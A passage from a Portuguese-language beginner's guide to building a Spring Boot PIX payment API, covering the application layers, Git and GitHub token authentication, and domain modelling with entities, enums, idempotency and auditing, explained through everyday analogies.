Voce nao escreve SQL (na maioria dos casos). O Spring le o nome do metodo (findByCpf) e gera a query. Isso se chama query derivation.

Analogia

Repository = porteiro do arquivo. Voce pede "me traz a ficha do CPF 123" e ele vai la e busca. Voce nao precisa saber como o arquivo esta organizado por dentro.

4. Service — as regras de negocio

O que e: a classe que contem a logica do negocio. Validacoes, calculos, regras — tudo fica aqui. E o "cerebro" da aplicacao.
Onde fica: src/main/java/.../service/
Exemplo:

@Service
public class TransferService {

    public void transfer(UUID fromId, UUID toId, BigDecimal amount) {
        // REGRA 1: valor precisa ser positivo
        if (amount.compareTo(BigDecimal.ZERO) <= 0)
            throw new InvalidAmountException("Valor precisa ser maior que zero");

        // REGRA 2: conta de origem precisa existir
        Account from = accountRepository.findById(fromId)
            .orElseThrow(() -> new AccountNotFoundException(fromId));

        // REGRA 3: saldo suficiente
        if (from.getBalance().compareTo(amount) < 0)
            throw new InsufficientBalanceException();

        // Executa a transferencia
        from.debit(amount);
        to.credit(amount);
    }
}
Analogia

Service = gerente do banco. Ele conhece todas as regras: "nao pode transferir valor negativo", "precisa ter saldo", "conta precisa existir". Ele toma as decisoes. O Controller so repassa o pedido pro gerente.

5. DTO — o contrato da API

O que e: DTO = Data Transfer Object. Sao classes simples que definem o que a API recebe (Request) e o que devolve (Response). Nunca se expoe a Entity diretamente.
Onde fica: src/main/java/.../dto/
Exemplo:

// O que o usuario ENVIA pra criar uma conta
public record CreateAccountRequest(
    String holderName,
    String cpf
) {}

// O que a API DEVOLVE depois de criar
public record AccountResponse(
    UUID id,
    String holderName,
    String cpf,
    BigDecimal balance
) {}

Por que nao usar a Entity direto? Porque a Entity pode ter campos que o usuario nao deve ver (senha, dados internos). O DTO e um "filtro" — voce escolhe exatamente o que entra e o que sai.

Analogia

DTO = formulario. O Request e o formulario que o cliente preenche ("nome", "CPF"). O Response e o comprovante que ele recebe de volta ("numero da conta", "saldo"). O formulario nao mostra dados internos do sistema.

6. Controller — a porta de entrada

O que e: a classe que define os endpoints (URLs) da API. Recebe requisicoes HTTP, repassa pro Service, e devolve a resposta.
Onde fica: src/main/java/.../controller/
Exemplo:

@RestController                          // "essa classe e um controller REST"
@RequestMapping("/api/v1/accounts")      // "todos os endpoints comecam com /api/v1/accounts"
public class AccountController {

    @PostMapping                         // POST /api/v1/accounts
    public ResponseEntity<AccountResponse> create(@RequestBody CreateAccountRequest request) {
        AccountResponse response = accountService.create(request);
        return ResponseEntity.status(201).body(response);
    }

    @GetMapping("/{id}")                 // GET /api/v1/accounts/123
    public ResponseEntity<AccountResponse> findById(@PathVariable UUID id) {
        AccountResponse response = accountService.findById(id);
        return ResponseEntity.ok(response);
    }
}

O Controller e magro — ele nao tem logica. So recebe o pedido, passa pro Service, e devolve o resultado. Se voce colocar regra de negocio no Controller, esta fazendo errado.

Analogia

Controller = recepcionista. O cliente chega e diz "quero abrir uma conta". A recepcionista nao abre a conta — ela anota o pedido e encaminha pro gerente (Service). Quando o gerente termina, a recepcionista entrega o comprovante (Response) pro cliente.

7. Testes — a garantia de qualidade

O que e: codigo que testa seu proprio codigo. Voce escreve cenarios ("se o saldo for zero e tentarem transferir, deve dar erro") e o teste verifica automaticamente se o comportamento esta correto.
Onde fica: src/test/java/.../
Exemplo:

@Test
void naoDeveTransferirSemSaldo() {
    // DADO uma conta com saldo zero
    Account conta = new Account("Riel", "12345678900", BigDecimal.ZERO);

    // QUANDO tenta transferir R$ 100
    // ENTAO deve lancar excecao
    assertThrows(InsufficientBalanceException.class, () ->
        transferService.transfer(conta.getId(), outraConta.getId(),
            new BigDecimal("100.00"))
    );
}

Voce roda todos os testes com mvn test. Se algum falhar, significa que algo quebrou. No nosso projeto, usamos Testcontainers — os testes sobem um Postgres e Kafka reais (nao simulados) pra testar de verdade.

Analogia

Testes = vistoria do predio. Depois que voce constroi um andar novo, o engenheiro vai la e testa: "a porta abre?", "a luz liga?", "o encanamento funciona?". Se algo falhar, voce corrige ANTES de entregar pro morador.

Resumo visual — o caminho de uma requisicao


Usuario faz POST /api/v1/accounts com {"name": "Riel", "cpf": "123"}
  |
  v
CONTROLLER  →  recebe o JSON, converte em CreateAccountRequest (DTO)
  |
  v
SERVICE     →  valida: "CPF ja existe?" "nome esta vazio?"
  |               se invalido → lanca excecao → Controller devolve erro
  v
REPOSITORY  →  accountRepository.save(account) → salva no banco
  |
  v
ENTITY      →  o objeto Account e convertido em INSERT INTO accounts (...)
  |
  v
MIGRATION   →  a tabela "accounts" ja existe porque o Flyway criou quando o app iniciou
  |
  v
BANCO       →  PostgreSQL guarda o registro
  |
  v
Volta o caminho: Banco → Entity → Service → DTO (Response) → Controller → Usuario
  |
  v
Usuario recebe: {"id": "abc-123", "name": "Riel", "cpf": "123", "balance": 0}

Agora: tudo roda na sua maquina

No momento, todo o sistema roda localmente:

Seu computador (localhost)
  ├── Docker Desktop
  │     ├── PostgreSQL (container)
  │     ├── Kafka (container)
  │     └── Kafka UI (container)
  └── Spring Boot (processo Java)

Isso significa que:

  • Se voce desligar o computador, tudo para
  • Ninguem alem de voce pode acessar a API
  • Os dados so existem na sua maquina

Isso e perfeito pra desenvolvimento. Voce nao precisa de mais nada agora.

No mercado real: roda na nuvem

Se esse sistema fosse usado por clientes reais (um banco de verdade processando PIX), ele precisaria ficar ligado 24 horas por dia, 7 dias por semana, acessivel pela internet. Pra isso, ele seria hospedado na nuvem:

Nuvem (AWS / Azure / GCP)
  ├── Servidor de banco de dados gerenciado
  │     └── Amazon RDS (PostgreSQL) — backup automatico, sempre ligado
  ├── Servico de mensageria gerenciado
  │     └── Amazon MSK (Kafka) — escalavel, sempre ligado
  └── Servico de containers
        └── Amazon ECS ou Kubernetes — roda o Spring Boot em varios servidores
Analogia — Cozinhar em casa vs Restaurante

Desenvolvimento local = cozinhar em casa. Voce cozinha quando quer, desliga o fogao quando termina, so voce come.

Producao na nuvem = restaurante comercial. A cozinha funciona o dia todo, precisa atender muitos clientes ao mesmo tempo, precisa de backup de ingredientes, e se uma boca do fogao quebrar, as outras continuam funcionando.

O que muda quando vai pra nuvem?

Aspecto Local (agora) Nuvem (producao)
Disponibilidade So quando seu PC esta ligado 24/7, sempre no ar
Acesso So localhost (voce) Qualquer pessoa na internet
Banco de dados Docker local (sem backup) Servico gerenciado (backup automatico)
Custo Gratis Pago (a partir de ~$20/mes pra projetos pequenos)
Escala 1 instancia Multiplas instancias (mais usuarios = mais servidores)
O que importa agora

Deploy na nuvem e um assunto para depois. O foco agora e construir a aplicacao, aprender as camadas, e ter um projeto funcionando. O Dockerfile que ja criamos e justamente o que permite fazer deploy depois — ele empacota o Spring Boot em um container pronto pra rodar em qualquer lugar.

Por enquanto, seu unico "servidor" e o Docker Desktop + mvn spring-boot:run. E isso e suficiente.

Git vs GitHub — qual a diferenca?

Git GitHub
Programa que roda na sua maquina Site que guarda seu codigo na nuvem
Controla versoes dos arquivos (historico) Permite compartilhar o codigo com outras pessoas
Funciona offline Precisa de internet
Comandos: git add, git commit Comandos: git push, git pull
Analogia — Documento do Word

Git = o "Ctrl+S" com historico. Cada vez que voce faz um commit, e como salvar uma versao do documento. Voce pode voltar pra qualquer versao anterior.

GitHub = o Google Drive. Quando voce faz push, esta enviando o documento pro Drive pra ficar salvo na nuvem e outras pessoas poderem ver.

Os 4 comandos do dia a dia

# 1. Ver o que mudou desde o ultimo commit
git status

# 2. Adicionar arquivos que voce quer salvar
git add src/                     (adiciona a pasta src)
git add arquivo.java             (adiciona um arquivo especifico)

# 3. Salvar uma versao (commit = "checkpoint")
git commit -m "feat: criar CRUD de contas"

# 4. Enviar pro GitHub (nuvem)
git push

O fluxo e sempre: status → add → commit → push.

Analogia — Correio

git add = colocar as cartas dentro do envelope
git commit = fechar o envelope e escrever o que tem dentro
git push = levar o envelope ate o correio (GitHub)

Voce pode colocar varias cartas no envelope (varias alteracoes num commit) e so depois enviar tudo de uma vez.

Autenticacao — por que o push pediu login?

O git push envia codigo pro GitHub. O GitHub precisa saber quem voce e antes de aceitar — senao qualquer pessoa poderia enviar codigo pro seu repositorio.

Desde 2021, o GitHub nao aceita mais senha comum. Existem duas formas de se autenticar:

Metodo Como funciona Quando usar
Credential Manager (recomendado) Abre o navegador, voce loga no GitHub, e ele salva o token automaticamente Metodo padrao — faz uma vez e nunca mais pede
Personal Access Token (PAT) Voce gera um token no site do GitHub e usa como se fosse uma senha Quando o Credential Manager nao funciona

Credential Manager — o metodo recomendado

O Git Credential Manager ja vem instalado com o Git no Windows. Ele guarda suas credenciais de forma segura no Windows Credential Store.

# Fazer login (abre o navegador)
git credential-manager github login --device

# Ver quais contas estao salvas
git credential-manager github list

# Remover uma conta
git credential-manager github logout nome-da-conta

Depois de logar, o git push funciona direto, sem pedir senha. A credencial fica salva permanentemente.

Personal Access Token (PAT) — metodo alternativo

Se o Credential Manager der problema, voce pode gerar um token manualmente:

  1. No GitHub: Settings → Developer settings → Personal access tokens → Tokens (classic)
  2. Clicar em Generate new token (classic)
  3. Dar um nome (ex: "meu-pc"), escolher validade, marcar o scope repo
  4. Copiar o token gerado (comeca com ghp_)
  5. Usar no push quando pedir senha (colar o token no lugar da senha)
Seguranca — NUNCA compartilhe seu token

O Personal Access Token e como uma senha. Quem tiver seu token pode enviar codigo pros seus repositorios. Nunca coloque o token dentro do codigo, nunca commite ele no Git, e nunca compartilhe publicamente. Se vazar, revogue imediatamente no GitHub e gere um novo.

O que aconteceu no nosso caso

Ao fazer o primeiro git push, o Git tentou usar uma credencial antiga de outra conta que estava salva no Windows Credential Store. O GitHub rejeitou porque essa conta nao tinha permissao no repositorio novo.

A solucao foi:

  1. Remover as credenciais antigas do Windows (Gerenciador de Credenciais)
  2. Remover as credenciais do Git Credential Manager (logout)
  3. Gerar um Personal Access Token no GitHub
  4. Fazer o push com o token
  5. Depois, logar de forma permanente com git credential-manager github login --device
Licao aprendida

Se o git push der erro de "Permission denied to [outro usuario]", o problema e credencial antiga. O caminho e:

1. git credential-manager github list — ver quais contas estao salvas
2. git credential-manager github logout [conta-errada] — remover
3. Abrir o Gerenciador de Credenciais do Windows e remover entradas com "github"
4. git credential-manager github login --device — logar com a conta certa
5. git push — agora funciona

Configuracao do Git — nome e email

O Git precisa saber seu nome e email pra assinar os commits. Isso e so uma identificacao — nao e login. Qualquer pessoa pode colocar qualquer nome ali.

# Configurar pra TODOS os projetos (global)
git config --global user.name "Seu Nome"
git config --global user.email "seu@email.com"

# Configurar so pra ESTE projeto (local, sobrescreve o global)
git config user.name "Outro Nome"
git config user.email "outro@email.com"

# Ver a configuracao atual
git config user.name
git config user.email
Analogia — Assinatura vs Chave do cofre

git config (nome/email) = sua assinatura. Aparece nos commits, identifica quem fez, mas nao prova nada.

Credential Manager (token) = a chave do cofre. E o que realmente te autoriza a enviar codigo pro GitHub. Sem a chave, voce pode assinar o que quiser, mas o cofre nao abre.

O que estamos construindo?

Na Fase 01, montamos a infraestrutura (Docker, Spring Boot, Flyway). Agora na Fase 02, estamos criando o dominio — as entidades, tabelas e regras que representam o mundo real do PIX no codigo.

Analogia — Planta de um predio

A Fase 01 foi preparar o terreno e comprar os materiais. A Fase 02 e a planta do predio — definimos cada comodo (tabela), o que tem dentro (colunas), e como os comodos se conectam (relacionamentos/FKs). Sem uma boa planta, a parte eletrica e hidraulica (logica de negocio da Fase 03) sera um pesadelo.

O que compoe o dominio?

A Fase 02 cria 3 tipos de artefato:

  1. Banco de dados — As migrations Flyway criam tabelas, colunas, indices e constraints (FKs, UNIQUE). E o "esqueleto" onde os dados moram.
  2. Entidades JPA — O "espelho" das tabelas no codigo Java. O JPA faz a ponte: voce manipula objetos Java e ele traduz para SQL automaticamente.
  3. Enums — O vocabulario controlado. Definem os valores possiveis para tipos e status, impedindo dados invalidos no nivel do compilador.

Visao geral das entidades

Entidade Representa Exemplo no mundo real
Account Conta bancaria Sua conta corrente no Nubank
PixKey Chave PIX Seu CPF cadastrado como chave
Transaction Transferencia PIX O PIX de R$50 que voce mandou pro amigo
QrCode QR Code PIX O QR na barraquinha de acai
AuditLog Registro de auditoria O log que o BACEN pode pedir pra ver
WebhookConfig Configuracao de notificacao O aviso que o PagSeguro te manda quando recebe um PIX
Por que isso importa no mercado

Entrevistadores de Squad Banking vao perguntar: "como voce modelou as entidades?", "por que usou UUID?", "como trata idempotencia?". Saber explicar cada decisao de dominio e o que separa um dev junior que copia tutorial de um que entende o que esta construindo.

O problema: repeticao

Toda entidade do sistema precisa de id, createdAt e updatedAt. Se copiarmos esses campos em cada classe, temos codigo duplicado — e quando precisar mudar (ex: adicionar version para controle de concorrencia), temos que alterar em 6 lugares.

A solucao: @MappedSuperclass

Criamos uma classe abstrata BaseEntity com os campos comuns. Todas as outras entidades herdam dela. A anotacao @MappedSuperclass diz ao JPA: "essa classe nao tem tabela propria, mas suas colunas aparecem nas tabelas dos filhos".

@MappedSuperclass                     // Nao cria tabela, mas filhos herdam as colunas
public abstract class BaseEntity {

    @Id
    @GeneratedValue(strategy = GenerationType.UUID)
    private UUID id;                      // Chave primaria — UUID, nao auto-increment

    @Column(nullable = false, updatable = false)
    private LocalDateTime createdAt;      // Quando o registro foi criado

    @Column(nullable = false)
    private LocalDateTime updatedAt;      // Ultima alteracao

    @PrePersist                           // Roda ANTES de inserir no banco
    protected void onCreate() {
        this.createdAt = LocalDateTime.now();
        this.updatedAt = LocalDateTime.now();
    }

    @PreUpdate                            // Roda ANTES de atualizar no banco
    protected void onUpdate() {
        this.updatedAt = LocalDateTime.now();
    }
}
Analogia — Formulario padrao

Pense numa empresa onde todo documento tem cabecalho com logo, data e numero de protocolo. Em vez de cada setor criar seu cabecalho, existe um modelo padrao. Os setores so preenchem o conteudo. BaseEntity e esse modelo padrao — os campos comuns ja vem prontos.

Por que UUID e nao auto-increment?

Criterio Auto-increment (1, 2, 3...) UUID
Seguranca Previsivel — atacante adivinha o proximo ID Aleatorio — impossivel prever
Sistemas distribuidos Conflito se 2 servidores geram o mesmo ID Cada servidor gera o seu sem colisao
Performance Mais rapido para insert Indices um pouco maiores
Uso no mercado financeiro Evitado Padrao

Lifecycle Callbacks: @PrePersist e @PreUpdate

Sao "ganchos" que o JPA executa automaticamente em momentos especificos do ciclo de vida da entidade:

  • @PrePersist — Roda antes de salvar um registro novo. Usamos para setar createdAt e updatedAt.
  • @PreUpdate — Roda antes de atualizar um registro existente. Usamos para atualizar updatedAt.
Decisao de mercado

Em fintech, todo registro precisa ter data de criacao e alteracao. O BACEN pode perguntar: "quando essa conta foi bloqueada?". Sem createdAt/updatedAt, voce nao tem resposta. Lifecycle callbacks garantem que isso nunca e esquecido pelo desenvolvedor.

O que sao Enums?

Enums (enumeracoes) sao valores fixos e limitados que representam estados ou tipos. Em vez de guardar a string "CHECKING" no banco (e correr o risco de alguem salvar "checking" ou "Chekcing"), o enum garante type safety — o compilador so aceita valores validos.

Enums do nosso sistema

Enum Valores Para que serve
AccountType CHECKING, SAVINGS Tipo de conta — corrente ou poupanca
AccountStatus ACTIVE, INACTIVE, BLOCKED Conta bloqueada por fraude nao faz PIX
PixKeyType CPF, CNPJ, EMAIL, PHONE, RANDOM Os 5 tipos reais de chave do BACEN
PixKeyStatus ACTIVE, INACTIVE Chave desativada nao recebe PIX
TransactionStatus PENDING, PROCESSING, COMPLETED, FAILED, REFUNDED Maquina de estados da transacao
QrCodeType STATIC, DYNAMIC QR fixo (lojinha) vs QR com valor/vencimento
QrCodeStatus ACTIVE, EXPIRED, USED Impede pagar QR dinamico duas vezes
AuditAction CREATE, UPDATE, DELETE, STATUS_CHANGE Tipo de operacao no log de auditoria
WebhookStatus ACTIVE, INACTIVE Webhook desativado nao notifica

Maquina de estados: TransactionStatus

Uma transacao PIX nao vai de "nada" para "concluida". Ela passa por estagios, e cada estagio tem regras. Isso se chama maquina de estados:

PENDING ──→ PROCESSING ──→ COMPLETED │ │ │ └──→ FAILED │ └──→ FAILED COMPLETED ──→ REFUNDED (estorno)

Regras:

  • So pode estornar (REFUNDED) se estiver COMPLETED
  • Uma vez FAILED, acabou — nao volta
  • PENDINGPROCESSING acontece quando o Kafka pega a mensagem
Analogia — Pedido de delivery

Pense num pedido do iFood: RecebidoPreparandoSaiu para entregaEntregue. Voce nao pode pular de "Recebido" para "Entregue". E uma vez "Cancelado", nao volta. TransactionStatus funciona igual.

Vantagem no compilador

Se amanha o BACEN criar um 6o tipo de chave PIX, voce adiciona ao enum e o compilador te mostra todos os lugares que precisam tratar o novo tipo (nos switch/case). Com strings, voce teria que fazer find/replace e torcer pra nao esquecer nenhum lugar.

Conceitos-chave de modelagem

Cada entidade tem decisoes de design que refletem boas praticas do mercado financeiro. Aqui estao os conceitos mais importantes:

1. Indice UNIQUE em keyValue (PixKey)

Uma chave PIX e unica no Brasil inteiro. Se seu CPF esta no Nubank, ninguem mais pode registrar. O indice UNIQUE no banco garante isso a nivel de infraestrutura — mesmo que o codigo tenha bug, o banco rejeita a duplicata.

2. Idempotency Key (Transaction)

Se o cliente clica "Pagar" duas vezes por causa de lag, o sistema precisa reconhecer que e a mesma operacao e NAO cobrar duas vezes. A idempotencyKey garante isso: mesma chave = mesma transacao, retorna o resultado anterior.

Analogia — Numero de protocolo

Quando voce liga pra operadora e pede cancelamento, recebe um numero de protocolo. Se ligar de novo com o mesmo protocolo, eles nao cancelam duas vezes — encontram o atendimento anterior. A idempotency key e esse protocolo.

3. Soft Delete (deactivatedAt em PixKey)

No mercado financeiro, voce nunca deleta dados. A chave nao e apagada, e desativada (recebe um deactivatedAt). Regulacao exige rastreabilidade — o BACEN pode perguntar: "essa chave existiu algum dia?".

4. endToEndId (Transaction)

Identificador unico da transacao no ecossistema PIX inteiro. Formato definido pelo BACEN: E + ISPB + data + sequencial. E o "recibo" do PIX — com ele, qualquer banco envolvido encontra a mesma transacao.

5. Indices no banco de dados

Colunas consultadas frequentemente (endToEndId, idempotencyKey, status) precisam de indices. Sem indice, o banco faz full table scan (le TODAS as linhas). Com indice, e busca direta.

Analogia — Indice de um livro

Imagine procurar a palavra "idempotencia" num livro de 500 paginas sem indice — voce leria pagina por pagina. Com o indice no final do livro, vai direto na pagina certa. Indices no banco funcionam igual.

6. Auditoria para compliance

A tabela AuditLog registra quem fez o que, quando e de onde (performedBy, ipAddress, oldValue, newValue). Em fintech, auditoria nao e opcional — o BACEN pode pedir logs de qualquer operacao. Sem isso, a empresa toma multa.

7. Webhook com HMAC (WebhookConfig)

Quando uma transacao e completada, o sistema notifica o cliente via POST para a URL dele. O secret e usado para assinar o payload (HMAC), garantindo que o cliente saiba que a notificacao veio do seu sistema e nao de um atacante. Toda API financeira moderna (Stripe, PagSeguro) usa webhooks.

Regra de ouro das migrations

O Flyway aplica migrations em ordem (V1, V2, V3...). Uma migration ja executada nunca e alterada. Se precisar mudar a tabela, cria-se uma nova migration (V8, V9...). Isso garante que todos os ambientes (dev, staging, prod) tenham o mesmo schema, sempre.

A cadeia de informacao

No mercado, ninguem descobre tudo sozinho. A informacao flui de cima pra baixo:

BACEN (regulador)
    |  publica resolucoes, manuais, APIs
Area de Compliance / Juridico do banco
    |  traduz regulacao em requisitos internos
Product Manager (PM) / Head de Produto
    |  prioriza o que sera construido e quando
Product Owner (PO)
    |  detalha em historias de usuario para o time
Analista de Negocios (BA)
    |  mapeia regras, fluxos, excecoes
Tech Lead + Devs
    |  implementam

Como o PO le e documenta a regulacao do BACEN

O PO nao le a regulacao sozinho. O BACEN publica resolucoes em linguagem juridica que e incompreensivel pra maioria dos devs.

Passo 1 — Compliance traduz

Texto original da Resolucao BCB n 1:

"Art. 15. A quantidade maxima de vinculos de cada tipo de chave
por conta e: I - para pessoa natural: cinco vinculos por conta;
II - para pessoa juridica: vinte vinculos por conta."

Compliance traduz:

"Cada conta PF pode ter no maximo 5 chaves PIX.
Cada conta PJ, 20."

Passo 2 — PO transforma em requisito

Regra de negocio RN-012:
Ao cadastrar chave PIX, validar limite de chaves por tipo de pessoa.
PF: max 5. PJ: max 20.
Se exceder, retornar erro com mensagem clara.

Passo 3 — PO documenta no backlog

Historia: Como titular de conta PF, quero cadastrar ate 5 chaves PIX,
para que eu tenha diferentes formas de receber transferencias.

Criterios de Aceite:
- PF pode ter no maximo 5 chaves ativas por conta
- PJ pode ter no maximo 20 chaves ativas por conta
- Se exceder, retornar HTTP 422 com mensagem "Limite de chaves atingido"
- Chaves inativas NAO contam no limite
- Gerar log de auditoria na tentativa (mesmo que falhe)

Ferramentas que o PO usa:

Ferramenta Para que
Jira / Linear Historias de usuario, sprints, backlog
Confluence / Notion Documentacao de regras de negocio
Miro / FigJam Fluxogramas, event storming, mapeamento
Figma Prototipos de tela (quando tem frontend)

O que o PM faz ao olhar os concorrentes

E um processo chamado benchmarking. O PM literalmente vira cliente dos concorrentes — abre conta no Nubank, Inter, PagSeguro. Usa o PIX deles. Anota tudo.

Depois monta uma matriz de funcionalidades:

Funcionalidade Nubank Inter PagSeguro Nos
QR Estatico Sim Sim Sim Sim
QR Dinamico Sim Sim Sim Fazer
Webhook Nao Nao Sim Fazer
PIX Agendado Sim Nao Nao Backlog

O PM identifica oportunidades e prioriza com o Head de Produto: "QR Dinamico e obrigatorio (regulacao). Webhook e diferencial. PIX Agendado pode esperar Q3."

Por que isso importa pro dev

O dev que entende essa cadeia tem muito mais valor do que o que so sabe codar — porque sabe perguntar as coisas certas quando o requisito esta incompleto. Numa entrevista, mostrar que voce entende o processo completo (regulacao → produto → codigo) impressiona mais do que saber 50 frameworks.

Definicao simples

Fazer a mesma operacao varias vezes produz o mesmo resultado que fazer uma vez.

Analogia — Botao do elevador

Voce aperta o botao do elevador uma vez — elevador vem. Aperta 47 vezes — elevador vem do mesmo jeito, uma vez so. O botao e idempotente. Agora imagine se cada apertada chamasse um elevador diferente — seria o caos. Isso e o que acontece com PIX sem idempotencia.

O problema real

SEM idempotencia:
1. Cliente clica "Pagar R$100"
2. Internet trava, cliente nao ve resposta
3. Cliente clica "Pagar R$100" de novo
4. Sistema cria DUAS transacoes → R$200 debitados
5. Cliente liga reclamando, banco toma processo
COM idempotencia:
1. Cliente clica "Pagar R$100" → app gera idempotencyKey = "abc-123"
2. Internet trava, cliente nao ve resposta
3. Cliente clica "Pagar R$100" de novo → app envia mesma key "abc-123"
4. Sistema ve: "ja existe transacao com key abc-123, retorno a existente"
5. Resultado: R$100 debitados uma vez so

No codigo

// No Service (Fase 03), antes de criar a transacao:
Optional<Transaction> existing = transactionRepository
    .findByIdempotencyKey(request.getIdempotencyKey());

if (existing.isPresent()) {
    // Ja existe! Retorna a mesma, nao cria outra
    return existing.get();
}

// Nao existe, cria nova
Transaction tx = new Transaction();
tx.setIdempotencyKey(request.getIdempotencyKey());
// ... salva

Quem gera a idempotencyKey? O cliente (frontend/app). Geralmente e um UUID gerado quando o usuario abre a tela de pagamento. Cada tentativa de envio usa a mesma key.

Onde mais idempotencia aparece

Nao e so PIX. Toda API financeira seria exige idempotencia: Stripe, PagSeguro, PayPal, AWS. Ate operacoes simples como "criar conta" podem precisar — imagine criar duas contas pro mesmo CPF porque o POST foi enviado duas vezes.

Criterios NAO mapeiam 1:1 para arquivos

Criterios de aceite mapeiam para comportamentos, e os comportamentos sao distribuidos em camadas. Um unico criterio pode tocar 4 ou mais arquivos.

Exemplo pratico

Criterio: "PF pode ter no maximo 5 chaves ativas por conta"

Esse criterio sozinho toca 4 arquivos:

Arquivo O que esse criterio causa
PixKeyRepository Metodo countByAccountIdAndStatus() — conta as chaves ativas
PixKeyService (Fase 03) Logica: se count >= 5 e e PF, rejeita
Account Campo holderDocument — e dele que sabemos se e PF (11 digitos) ou PJ (14)
GlobalExceptionHandler Excecao customizada PixKeyLimitExceededException

A regra pratica: pense em camadas

Cada criterio geralmente precisa de algo em cada camada da aplicacao:

Criterio de aceite | Controller → Recebe a requisicao (1 arquivo) DTO → Formato do request/response (1-2 arquivos) Service → Logica de negocio (1 arquivo) Repository → Acesso ao banco (1 arquivo) Entity → Modelo de dados (1 arquivo) Migration → Schema do banco (1 arquivo) Exception → Erro customizado (0-1 arquivo)

Nem todo criterio gera arquivo novo. Muitos adicionam codigo em arquivos existentes.

Dica para iniciantes

Comece pelas entidades (o que preciso guardar?), depois repositories (como acesso?), depois services (qual a regra?), depois controllers (como exponho?). Essa ordem e natural porque cada camada depende da anterior.

Como identificar que preciso de um Enum

Faca uma pergunta simples:

"Esse campo tem valores fixos e limitados?"

  • "Quais tipos de chave PIX existem?" → CPF, CNPJ, EMAIL, PHONE, RANDOM → Enum
  • "Quais tipos de conta?" → Corrente, poupanca → Enum
  • "Quais status uma transacao pode ter?" → Pending, completed, failed → Enum

Se a resposta e uma lista fechada, e enum.

Como identificar que preciso de uma Entidade

"Quais sao as coisas que o sistema precisa lembrar?"

  • "O sistema lembra de contas?" → Sim → Entity Account
  • "O sistema lembra de transacoes?" → Sim → Entity Transaction
  • "O sistema lembra de logs?" → Sim → Entity AuditLog

Se tem identidade propria e precisa ser persistido, e entidade.

Como identificar relacionamentos

"Essa coisa pertence a outra coisa?"

  • "Uma chave PIX pertence a uma conta?" → Sim → @ManyToOne
  • "Uma transacao envolve duas contas?" → Sim → Dois @ManyToOne

Como validar se o modelo esta correto

Descreva o modelo em linguagem natural:

"Uma Account tem um holderDocument que e CPF ou CNPJ.
Uma Account pode ter varias PixKeys.
Cada PixKey tem um tipo (CPF, EMAIL...) e um valor unico
no sistema inteiro."

Se a frase faz sentido no mundo real, o modelo esta correto. Se soar estranho ("uma PixKey tem varias Accounts"?), algo esta errado.

Metodo 1: Substantivos e Verbos

Pegue a descricao do sistema e grife:

"O CLIENTE cadastra uma CHAVE PIX na sua CONTA.
Depois, outro cliente faz um PIX usando essa chave.
O sistema gera um COMPROVANTE e notifica via WEBHOOK."

Substantivos → candidatos a entidade:
  Cliente, Chave PIX, Conta, PIX (transacao), Comprovante, Webhook

Verbos → candidatos a operacao:
  cadastra, faz, gera, notifica

Adjetivos/estados → candidatos a enum:
  ativa/inativa, pendente/completada

Metodo 2: Tabela CRUD

Para cada substantivo, pergunte:

Entidade Create Read Update Delete
Account Abrir conta Consultar saldo Atualizar dados Bloquear (soft)
PixKey Cadastrar Buscar por valor Desativar (soft)
Transaction Iniciar PIX Consultar Mudar status

Se tem CRUD, e entidade. Se nao tem (ex: "Comprovante" e so uma visualizacao), nao e.

Metodo 3: Pesquise

Procure no GitHub por "pix api java spring" ou "payment system entity". Veja como outros modelaram. Nao e cola — e pesquisa. Todo dev faz isso.

Analogia — Na duvida, erre para o simples

E mais facil adicionar um campo depois do que remover um que ja tem dados em producao. Se nao tem certeza se precisa de um campo, nao coloque. Se depois perceber que precisa, cria uma migration nova.

Arquitetura e responder 4 perguntas

Pergunta 1: "O que o sistema faz?"

Lista de funcionalidades. No nosso caso: cadastrar conta, registrar chave PIX, fazer transferencia, gerar QR Code, auditar, notificar via webhook.

Pergunta 2: "Quais sao as restricoes?"

  • Performance: Quantas transacoes por segundo? (PIX real: milhares)
  • Disponibilidade: Pode cair? (Fintech: nao)
  • Regulacao: O que o BACEN exige? (Auditoria, rastreabilidade)
  • Time/budget: Quanto tempo e gente? (1 dev, projeto academico)
  • Stack: Ja foi decidida? (Java 17, Spring Boot, PostgreSQL, Kafka)

Pergunta 3: "Como os componentes se conectam?"

Cliente (app/web) | HTTP REST API Gateway / Controller | Service (logica) | | Repository Kafka Producer | | PostgreSQL Kafka Consumer | Service (processa) | Repository → PostgreSQL

Pergunta 4: "O que pode dar errado?"

  • Kafka cair? → Transacao fica PENDING, retry quando voltar
  • Banco cair? → Circuit breaker, fallback
  • Dois requests simultaneos? → Idempotencia, locks otimistas
  • Fraude? → Validacao, auditoria, rate limiting

ADR — Architecture Decision Record

Para cada decisao arquitetural, documente:

Decisao: Usar UUID como PK em vez de auto-increment
Contexto: Sistema financeiro com possibilidade de multiplas instancias
Consequencia: IDs maiores no banco, mas sem risco de colisao

Nossos comentarios no codigo fazem exatamente isso. Cada comentario que explica "por que" e um mini-ADR.

Regra de ouro da arquitetura

A melhor arquitetura e a mais simples que resolve o problema. Nao adicione Kafka se nao precisa de processamento assincrono. Nao use microservicos se um monolito resolve. A complexidade tem custo de manutencao — so adicione quando o beneficio justifica.

Classe

Um "molde" para criar objetos. Define quais dados (campos) e comportamentos (metodos) um objeto tem.

public class Account {          // Molde
    private String holderName;  // Dado (campo)
    public void block() { ... } // Comportamento (metodo)
}

Account conta = new Account();  // Objeto criado a partir do molde

Convencao PascalCase (Account, nao account): A primeira letra maiuscula diferencia visualmente uma classe (tipo) de uma variavel (instancia). Quando voce le Account, sabe que e o tipo. Quando le account, sabe que e uma variavel.

Variavel

Um "nome" que aponta para um valor na memoria.

String holderName = "Riel";     // variavel local
private BigDecimal balance;      // campo da classe (field)

Convencao camelCase (holderName, nao holder_name): A primeira palavra em minuscula indica que e uma instancia/valor. As palavras subsequentes comecam com maiuscula para legibilidade.

Metodo

Uma acao que um objeto pode executar.

public void block() {
    this.status = AccountStatus.BLOCKED;
}

// Chamando:
conta.block();

Convencao camelCase com verbo: Metodos sao acoes, entao comecam com verbo: find, create, update, delete, is, has, can.

Constante

Um valor que nunca muda durante a execucao.

public static final int MAX_KEYS_PF = 5;
public static final String PIX_VERSION = "2.0";

Convencao UPPER_SNAKE_CASE: O CAPS LOCK grita "EU NAO MUDO". Qualquer dev que ve MAX_KEYS_PF sabe instantaneamente que e constante.

Enum

Um tipo especial com conjunto fixo de valores possiveis.

public enum AccountStatus {
    ACTIVE,      // Cada valor e uma instancia unica
    INACTIVE,
    BLOCKED
}

// Uso:
account.setStatus(AccountStatus.ACTIVE);  // OK
account.setStatus("ATIVO");               // ERRO — type safety!

